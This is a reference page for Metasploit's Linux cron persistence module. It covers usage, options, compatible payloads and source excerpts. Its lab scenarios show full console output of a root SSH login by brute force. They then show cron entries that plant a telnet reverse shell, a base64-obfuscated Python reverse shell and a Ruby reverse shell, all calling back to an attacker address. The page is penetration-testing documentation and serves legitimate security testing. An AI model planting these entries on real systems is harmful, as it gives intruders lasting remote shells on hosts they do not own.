Cron Persistence - Metasploit


This page contains detailed information about how to use the exploit/linux/local/cron_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cron Persistence
Module: exploit/linux/local/cron_persistence
Source code: modules/exploits/linux/local/cron_persistence.rb
Disclosure date: 1979-07-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/cron_persistence
msf exploit(cron_persistence) > show targets
    ... a list of targets ...
msf exploit(cron_persistence) > set TARGET target-id
msf exploit(cron_persistence) > show options
    ... show and set options ...
msf exploit(cron_persistence) > set SESSION session-id
msf exploit(cron_persistence) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Creating A Testing Environment

This module has been tested against:

  1. Kali Rolling

Verification Steps


  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use exploit/linux/local/cron_persistence
  4. Do: set session #
  5. Do: set target #
  6. Do: set verbose true
  7. Optional Do: set username (depends on target selection)
  8. Optional Do: set cleanup false
  9. Do: exploit

Options


username

Set a specific user's crontab if target 'User Crontab' is selected

timing

Set cron's timing. Default is to run within a minute. If this is changed, WfsDelay should be adjusted to compensate

cleanup

After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. THIS WILL STOP THE PERSISTENCE!!!

Scenarios


Kali Rolling (root)

Initial Access

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password password
password => password
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
rhosts => 10.10.60.168
msf auxiliary(ssh_login) > exploit

[*] 10.10.60.168:22 SSH - Starting bruteforce
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Run our module (Cron)

msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 0
target => 0
msf exploit(cron_persistence) > exploit

[*] Started reverse double handler
[*] Max line length is 65537
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
[*] Waiting 90sec for callback
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xPBXQvodQdzgByKR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "xPBXQvodQdzgByKR\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
[+] Deleted /etc/cron.d/FiThkldAZR

Run our module (System Crontab)

msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(cron_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 2
target => 2
msf exploit(cron_persistence) > set cleanup false
cleanup => false
msf exploit(cron_persistence) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Max line length is 65537
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
[*] Waiting 90sec for callback
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400

And since we didn't clean up, if our session dies...

^C
Abort session 2? [y/N]  y

[*] 10.10.60.168 - Command shell session 2 closed.  Reason: User exit
msf exploit(cron_persistence) > use exploit/multi/handler 
msf exploit(handler) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(handler) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Starting the payload handler...
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400

Run our module (User Crontab)

msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf exploit(cron_persistence) > set lhost 192.168.199.128
lhost => 192.168.199.128
msf exploit(cron_persistence) > set session 1
session => 1
msf exploit(cron_persistence) > set verbose true
verbose => true
msf exploit(cron_persistence) > set target 1
target => 1
msf exploit(cron_persistence) > exploit

[*] Started reverse handler on 192.168.199.128:4444 
[*] Max line length is 65537
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
[*] Reloading cron to pickup new entry
[*] Waiting 90sec for callback
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400

Go back to menu.

Msfconsole Usage


Here is how the linux/local/cron_persistence exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/cron_persistence

msf6 exploit(linux/local/cron_persistence) > show info

       Name: Cron Persistence
     Module: exploit/linux/local/cron_persistence
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1979-07-01

Provided by:
  h00die <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Cron
  1   User Crontab
  2   System Crontab

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  CLEANUP   true             yes       delete cron entry after execution
  SESSION                    yes       The session to run this module on.
  TIMING    * * * * *        no        cron timing.  Changing will require WfsDelay to be adjusted
  USERNAME  root             no        User to run cron/crontab as

Payload information:
  Avoid: 4 characters

Description:
  This module will create a cron or crontab entry to execute a 
  payload. The module includes the ability to automatically clean up 
  those entries to prevent multiple executions. syslog will get a copy 
  of the cron entry.

Module Options


This is a complete list of options available in the linux/local/cron_persistence exploit:

msf6 exploit(linux/local/cron_persistence) > show options

Module options (exploit/linux/local/cron_persistence):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CLEANUP   true             yes       delete cron entry after execution
   SESSION                    yes       The session to run this module on.
   TIMING    * * * * *        no        cron timing.  Changing will require WfsDelay to be adjusted
   USERNAME  root             no        User to run cron/crontab as

Exploit target:

   Id  Name
   --  ----
   1   User Crontab

Advanced Options


Here is a complete list of advanced options supported by the linux/local/cron_persistence exploit:

msf6 exploit(linux/local/cron_persistence) > show advanced

Module advanced options (exploit/linux/local/cron_persistence):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                90               no        Additional delay in seconds to wait for a session

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/cron_persistence module can exploit:

msf6 exploit(linux/local/cron_persistence) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Cron
   1   User Crontab
   2   System Crontab

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cron_persistence exploit:

msf6 exploit(linux/local/cron_persistence) > show payloads

Compatible Payloads
===================

   #   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                            normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                       normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                            normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                       normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                              normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse_perl                         normal  No     Unix Command Shell, Reverse TCP (via Perl)
   6   payload/cmd/unix/reverse_perl_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   7   payload/cmd/unix/reverse_python                       normal  No     Unix Command Shell, Reverse TCP (via Python)
   8   payload/cmd/unix/reverse_python_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   9   payload/cmd/unix/reverse_ruby                         normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  payload/cmd/unix/reverse_ruby_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/cron_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/cron_persistence) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid timing format


Here is a relevant code snippet related to the "Invalid timing format" error message:

64:	    cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
65:	    cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
66:	    cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
67:	    # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
68:	    unless datastore['TIMING'] =~ /#{cron_regex}/
69:	      fail_with(Failure::BadConfig, 'Invalid timing format')
70:	    end
71:	    cron_entry = datastore['TIMING']
72:	    if target.name.include? 'User Crontab'
73:	      unless user_cron_permission?(datastore['USERNAME'])
74:	        fail_with(Failure::NoAccess, 'User denied cron via cron.deny')

User denied cron via cron.deny


Here is a relevant code snippet related to the "User denied cron via cron.deny" error message:

69:	      fail_with(Failure::BadConfig, 'Invalid timing format')
70:	    end
71:	    cron_entry = datastore['TIMING']
72:	    if target.name.include? 'User Crontab'
73:	      unless user_cron_permission?(datastore['USERNAME'])
74:	        fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
75:	      end
76:	    else
77:	      cron_entry += " #{datastore['USERNAME']}"
78:	    end
79:	    flag = Rex::Text.rand_text_alpha(10)

User located in <PATH>cron.deny


Here is a relevant code snippet related to the "User located in <PATH>cron.deny" error message:

125:	          return true
126:	        end
127:	      end
128:	      cron_auths = read_file("#{path}cron.deny")
129:	      if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
130:	        vprint_error("User located in #{path}cron.deny")
131:	        return false
132:	      end
133:	    end
134:	    # no guidance, so we should be fine
135:	    true

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.